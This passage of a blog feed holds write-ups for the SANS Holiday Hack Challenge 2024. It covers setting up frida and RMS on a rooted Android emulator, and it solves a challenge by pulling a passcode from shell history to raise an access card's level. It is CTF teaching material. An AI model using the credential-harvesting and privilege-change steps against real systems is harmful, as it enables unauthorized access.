&lt;h2 id=&#34;Special-Thanks&#34;&gt;&lt;a href=&#34;#Special-Thanks&#34; class=&#34;headerlink&#34; title=&#34;Special Thanks&#34;&gt;&lt;/a&gt;Special Thanks&lt;/h2&gt;&lt;h3 id=&#34;Thanks-to-m0bilesecurity&#34;&gt;&lt;a href=&#34;#Thanks-to-m0bilesecurity&#34; class=&#34;headerlink&#34; title=&#34;Thanks to @m0bilesecurity&#34;&gt;&lt;/a&gt;Thanks to &lt;a href=&#34;https://github.com/m0bilesecurity&#34;&gt;@m0bilesecurity&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;I am not an expert on mobile security tools and he had the patience to help me through the real challenge which was the setup of the environment 😊&lt;br&gt;Once setup, his &lt;a href=&#34;https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security&#34;&gt;RMS&lt;/a&gt; basically made everything very easy.&lt;/p&gt;
&lt;h4 id=&#34;Showcasing-RMS&#34;&gt;&lt;a href=&#34;#Showcasing-RMS&#34; class=&#34;headerlink&#34; title=&#34;Showcasing RMS&#34;&gt;&lt;/a&gt;Showcasing RMS&lt;/h4&gt;&lt;p&gt;Just a quick video to showcase how RMS allowed all of this to be done in less than a minute :)&lt;/p&gt;
&lt;iframe width=&#34;100%&#34; height=&#34;315&#34; src=&#34;https://www.youtube.com/embed/qiONt-3zzU4?si=ZV12y2A9ci8cOWfg&#34; title=&#34;YouTube video player&#34; frameborder=&#34;0&#34; allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; allowfullscreen&gt;&lt;/iframe&gt;

&lt;h2 id=&#34;Everything-that-went-wrong&#34;&gt;&lt;a href=&#34;#Everything-that-went-wrong&#34; class=&#34;headerlink&#34; title=&#34;Everything that went wrong&#34;&gt;&lt;/a&gt;Everything that went wrong&lt;/h2&gt;&lt;p&gt;I don’t know if it will be useful for others, but it’ll defintely be for me, so I better keep here notes on what went wrong during the process so if I’ll ever need it again I’ll save myself some headache.&lt;/p&gt;
&lt;h3 id=&#34;Android-Studio-Emulator&#34;&gt;&lt;a href=&#34;#Android-Studio-Emulator&#34; class=&#34;headerlink&#34; title=&#34;Android Studio Emulator&#34;&gt;&lt;/a&gt;Android Studio Emulator&lt;/h3&gt;&lt;p&gt;The first place I looked for an emulator was &lt;a href=&#34;https://developer.android.com/studio&#34;&gt;Android Studio&lt;/a&gt;, but I was not able to setup &lt;a href=&#34;https://github.com/frida/frida&#34;&gt;&lt;code&gt;frida&lt;/code&gt;&lt;/a&gt; on it.&lt;br&gt;I had to root the emulated device using &lt;a href=&#34;https://gitlab.com/newbit/rootAVD&#34;&gt;rootAVD&lt;/a&gt; and succeded it follwing these &lt;a href=&#34;https://xdaforums.com/t/script-rootavd-root-your-android-studio-virtual-device-emulator-with-magisk-android-linux-darwin-macos-win-google-play-store-apis.4218123/#google_vignette&#34;&gt;instructions&lt;/a&gt;.&lt;br&gt;Despite the rooting, I still had the error &lt;code&gt;adbd cannot run as root in production builds&lt;/code&gt; but I was able to get root once in the shell with &lt;code&gt;su&lt;/code&gt;.&lt;br&gt;&lt;a href=&#34;https://frida.re/docs/android/&#34;&gt;Frida instructions for Android&lt;/a&gt; accounts for this issue but I still got the following error when running &lt;code&gt;frida-server&lt;/code&gt;:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-07-Mobile-Analysis/07_06_MobileAnalysis_FridaServer.png&#34;&gt;&lt;br&gt;&lt;a href=&#34;https://github.com/frida/frida/issues/2954&#34;&gt;I didn’t look like the only one with this problem&lt;/a&gt; but still I wasn’t able to solve it.&lt;/p&gt;
&lt;h3 id=&#34;Genymotion&#34;&gt;&lt;a href=&#34;#Genymotion&#34; class=&#34;headerlink&#34; title=&#34;Genymotion&#34;&gt;&lt;/a&gt;Genymotion&lt;/h3&gt;&lt;p&gt;Once I gave up on the Android Studio Emulator, I went for &lt;a href=&#34;https://www.genymotion.com/&#34;&gt;Genymotion&lt;/a&gt;, as &lt;a href=&#34;https://github.com/m0bilesecurity&#34;&gt;@m0bilesecurity&lt;/a&gt; suggested it should provide pre-rooted devices. It took me some clicking around to actually find such “free” pre-rooted device:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-07-Mobile-Analysis/07_07_MobileAnalysis_Genymotion.png&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;node-version&#34;&gt;&lt;a href=&#34;#node-version&#34; class=&#34;headerlink&#34; title=&#34;node version&#34;&gt;&lt;/a&gt;node version&lt;/h3&gt;&lt;p&gt;When trying to install &lt;a href=&#34;https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security&#34;&gt;RMS&lt;/a&gt; I encountered the error &lt;code&gt;No prebuilt binary&lt;/code&gt;&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-07-Mobile-Analysis/07_08_MobileAnalysis_NoPrebuiltBinaries.png&#34;&gt;&lt;br&gt;As pointed out by &lt;a href=&#34;https://github.com/m0bilesecurity&#34;&gt;@m0bilesecurity&lt;/a&gt; that was an issue with my &lt;code&gt;node&lt;/code&gt; version as &lt;code&gt;frida&lt;/code&gt; does not have the prebuilt binaries for &lt;code&gt;node.js v23.3.0&lt;/code&gt;.&lt;br&gt;I resorted to &lt;a href=&#34;https://github.com/nvm-sh/nvm&#34;&gt;&lt;code&gt;nvm&lt;/code&gt;&lt;/a&gt; to fix the version in the working folder to &lt;code&gt;v22.11.0&lt;/code&gt;. Still I obviously got another error:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-07-Mobile-Analysis/07_09_MobileAnalysis_nvmError.png&#34; alt=&#34;07_09_MobileAnalysis_nvmError.png&#34;&gt;&lt;br&gt;Not sure what the issue was as when I ran it again the day after it worked first shot:&lt;br&gt;&lt;img src=&#34;/2024/12/02/2024-07-Mobile-Analysis/07_10_MobileAnalysis_mac_rmsStart.png&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;arm64&#34;&gt;&lt;a href=&#34;#arm64&#34; class=&#34;headerlink&#34; title=&#34;arm64&#34;&gt;&lt;/a&gt;arm64&lt;/h3&gt;&lt;p&gt;Giving up on the local installation I restorted to a &lt;a href=&#34;https://www.kali.org/&#34;&gt;&lt;code&gt;kali&lt;/code&gt;&lt;/a&gt; vm that already had node &lt;code&gt;v20.18.0&lt;/code&gt; and the installation there was as easy as:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;pip3 install frida-tools --break-system-packages&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;npm install -g rms-runtime-mobile-security&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;On the other hand I am using a Macbook with Apple M3 cpu (or at least I’m trying to 😊) which is an &lt;code&gt;arm64&lt;/code&gt;, thus my &lt;code&gt;kali&lt;/code&gt; is a &lt;code&gt;linux arm64&lt;/code&gt; as well. Not that I crazily searched for it, but I didn’t find a version for such OS &amp;amp; architecture for Android Studio and Genymotion.&lt;/p&gt;
&lt;h3 id=&#34;Port-forwarding-adb&#34;&gt;&lt;a href=&#34;#Port-forwarding-adb&#34; class=&#34;headerlink&#34; title=&#34;Port forwarding adb&#34;&gt;&lt;/a&gt;Port forwarding &lt;code&gt;adb&lt;/code&gt;&lt;/h3&gt;&lt;p&gt;The obvious idea was to run the emulated device and the &lt;code&gt;adb&lt;/code&gt; server on the host, while using &lt;code&gt;adb&lt;/code&gt;, &lt;code&gt;frida&lt;/code&gt; and &lt;code&gt;rms&lt;/code&gt; in the VM. To allow this setup to work I just had to forward the port of the &lt;code&gt;adb&lt;/code&gt; using &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;thedead@maccos RMS-Runtime-Mobile-Security % ssh -R 5037:localhost:5037 root@192.168.180.129&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;┌──(root㉿mac-vikali)-[~]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;└─# adb devices&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;List of devices attached&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;127.0.0.1:6555  device&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;┌──(root㉿mac-vikali)-[~]&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;└─# adb -s 127.0.0.1:6555 shell&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;genymotion:/# &lt;span class=&#34;built_in&#34;&gt;whoami&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;root&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
</content>
        <category term="SANS Holiday Hack Challenge 2024" />
        <category term="Holiday Hack Challenge" />
        <category term="Holiday Hack Challenge 2024" />
        <category term="Snow-maggedon" />
        <category term="act2" />
        <category term="Mobile Analysis" />
        <category term="Eve Snowshoes" />
        <updated>2024-12-02T07:00:00.000Z</updated>
    </entry>
    <entry>
        <id>https://holidayhackchallenge.thedead91.com/2024/11/18/2024-06-02-Hardware-Hacking-101-Part-2/</id>
        <title>Hardware Hacking 101 - Part 2</title>
        <link rel="alternate" href="https://holidayhackchallenge.thedead91.com/2024/11/18/2024-06-02-Hardware-Hacking-101-Part-2/"/>
        <content type="html">&lt;p&gt;Difficulty: &lt;span style=&#34;color:red&#34;&gt;❄&lt;/span&gt; ❄ ❄ ❄ ❄&lt;br&gt;Santa’s gone missing, and the only way to track him is by accessing the Wish List in his chest-modify the access_cards database to gain entry!&lt;/p&gt;
&lt;h2 id=&#34;Hints&#34;&gt;&lt;a href=&#34;#Hints&#34; class=&#34;headerlink&#34; title=&#34;Hints&#34;&gt;&lt;/a&gt;Hints&lt;/h2&gt;&lt;h3 id=&#34;It’s-In-the-Signature&#34;&gt;&lt;a href=&#34;#It’s-In-the-Signature&#34; class=&#34;headerlink&#34; title=&#34;It’s In the Signature&#34;&gt;&lt;/a&gt;It’s In the Signature&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Jewel Loggins&lt;/em&gt;&lt;br&gt;I seem to remember there being a handy HMAC generator included in &lt;a href=&#34;https://gchq.github.io/CyberChef/#recipe=HMAC(%7B&#39;option&#39;:&#39;UTF8&#39;,&#39;string&#39;:&#39;&#39;%7D,&#39;SHA256&#39;)&#34;&gt;CyberChef&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Hidden-in-Plain-Sight&#34;&gt;&lt;a href=&#34;#Hidden-in-Plain-Sight&#34; class=&#34;headerlink&#34; title=&#34;Hidden in Plain Sight&#34;&gt;&lt;/a&gt;Hidden in Plain Sight&lt;/h3&gt;&lt;p&gt;&lt;em&gt;From: Jewel Loggins&lt;/em&gt;&lt;br&gt;It is so important to keep sensitive data like passwords secure. Often times, when typing passwords into a CLI (Command Line Interface) they get added to log files and other easy to access locations. It makes it trivial to step back in history and identify the password.&lt;/p&gt;
&lt;h2 id=&#34;Silver-trophy&#34;&gt;&lt;a href=&#34;#Silver-trophy&#34; class=&#34;headerlink&#34; title=&#34;Silver trophy&#34;&gt;&lt;/a&gt;Silver trophy&lt;/h2&gt;&lt;p&gt;The &lt;code&gt;Santa&amp;#39;s Little Helper - Access Card Maintenance Tool&lt;/code&gt; needs a password to modify the cards:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;--------------------------------------------------------&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                   ___     _      _  _   &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                  / __|   | |    | || |  &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                  \__ \   | |__  | __ |  &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                  |___/   |____| |_||_|  &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;                _|&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&#34;string&#34;&gt;&amp;quot;|_|&amp;quot;&lt;/span&gt;&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;|_|&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&#34;string&#34;&gt;&amp;quot;| &lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;                &amp;quot;&lt;/span&gt;`-0-0-&lt;span class=&#34;string&#34;&gt;&amp;#x27;&amp;quot;`-0-0-&amp;#x27;&lt;/span&gt;&lt;span class=&#34;string&#34;&gt;&amp;quot;`-0-0-&amp;#x27; &lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;--------------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;  Santa&amp;#x27;s Little Helper - Access Card Maintenance Tool&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;          Tool Name: slh&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;options:&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;  -h, --help            show this help message and exit&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;  --view-config         View current configuration.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;  --view-cards          View current values of all access cards.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;  --view-card ID        View a single access card by ID.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;  --set-access ACCESS_LEVEL&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;                        Set access level of access card. Must be 0 (No Access) or 1 (Full Access).&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;  --id ID               ID of card to modify.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;  --passcode PASSCODE   Passcode to make changes.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;  --new-card            Generate a new card ID.&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;string&#34;&gt;--------------------------------------------------------&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; slh --view-card 42&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Details of card with ID: 42&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;(42, &lt;span class=&#34;string&#34;&gt;&amp;#x27;c06018b6-5e80-4395-ab71-ae5124560189&amp;#x27;&lt;/span&gt;, 0, &lt;span class=&#34;string&#34;&gt;&amp;#x27;ecb9de15a057305e5887502d46d434c9394f5ed7ef1a51d2930ad786b02f6ffd&amp;#x27;&lt;/span&gt;)&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; slh --set-access 1 --&lt;span class=&#34;built_in&#34;&gt;id&lt;/span&gt; 42&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Invalid passcode. Access not granted.&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;After a little bit of poking I could find the password in the &lt;code&gt;history&lt;/code&gt;:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; &lt;span class=&#34;built_in&#34;&gt;history&lt;/span&gt; | grep slh&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    9  slh --&lt;span class=&#34;built_in&#34;&gt;help&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   11  slh --passcode CandyCaneCrunch77 --set-access 1 --&lt;span class=&#34;built_in&#34;&gt;id&lt;/span&gt; 143&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   31  &lt;span class=&#34;built_in&#34;&gt;history&lt;/span&gt; | grep slh&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;
&lt;p&gt;Changing its access level granted the Silver trophy:&lt;/p&gt;
&lt;figure class=&#34;highlight bash&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;slh@slhconsole\&amp;gt; slh --passcode CandyCaneCrunch77 --set-access 1 --&lt;span class=&#34;built_in&#34;&gt;id&lt;/span&gt; 42&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;       *   *   *   *   *   *   *   *   *   *   *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   *                                             *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;*      ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄  ❄     *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; *  $$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$$\  $$$$$$\   $$$$$$\  * &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  * $$  __$$\ $$  __$$\ $$  __$$\ $$  _____|$$  __$$\ $$  __$$\ *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   *$$ /  $$ |$$ /  \__|$$ /  \__|$$ |      $$ /  \__|$$ /  \__| *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;    $$$$$$$$ |$$ |      $$ |      $$$$$\    \$$$$$$\  \$$$$$$\   &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   *$$  __$$ |$$ |      $$ |      $$  __|    \____$$\  \____$$\  *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  * $$ |  $$ |$$ |  $$\ $$ |  $$\ $$ |      $$\   $$ |$$\   $$ | *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;*   $$ |  $$ |\$$$$$$  |\$$$$$$  |$$$$$$$$\ \$$$$$$  |\$$$$$$  |   *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; *  \__|  \__| \______/  \______/ \________| \______/  \______/  *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;*         *    ❄             ❄           *        ❄    ❄    ❄   *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   *        *     *     *      *     *      *    *      *      *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   *  $$$$$$\  $$$$$$$\   $$$$$$\  $$\   $$\ $$$$$$$$\ $$$$$$$$\ $$$$$$$\  $$\  *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   * $$  __$$\ $$  __$$\ $$  __$$\ $$$\  $$ |\__$$  __|$$  _____|$$  __$$\ $$ | *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  *  $$ /  \__|$$ |  $$ |$$ /  $$ |$$$$\ $$ |   $$ |   $$ |      $$ |  $$ |$$ |*&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  *  $$ |$$$$\ $$$$$$$  |$$$$$$$$ |$$ $$\$$ |   $$ |   $$$$$\    $$ |  $$ |$$ | *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; *   $$ |\_$$ |$$  __$$&amp;lt; $$  __$$ |$$ \$$$$ |   $$ |   $$  __|   $$ |  $$ |\__|*&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  *  $$ |  $$ |$$ |  $$ |$$ |  $$ |$$ |\$$$ |   $$ |   $$ |      $$ |  $$ |   *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;*    \$$$$$$  |$$ |  $$ |$$ |  $$ |$$ | \$$ |   $$ |   $$$$$$$$\ $$$$$$$  |$$\ *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt; *    \______/ \__|  \__|\__|  \__|\__|  \__|   \__|   \________|\_______/ \__|  *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  *                                                            ❄    ❄    ❄   *&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;   *      *    *    *    *    *    *    *    *    *    *    *    *    *    *                                                                                                                                        &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;Card 42 granted access level 1.&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

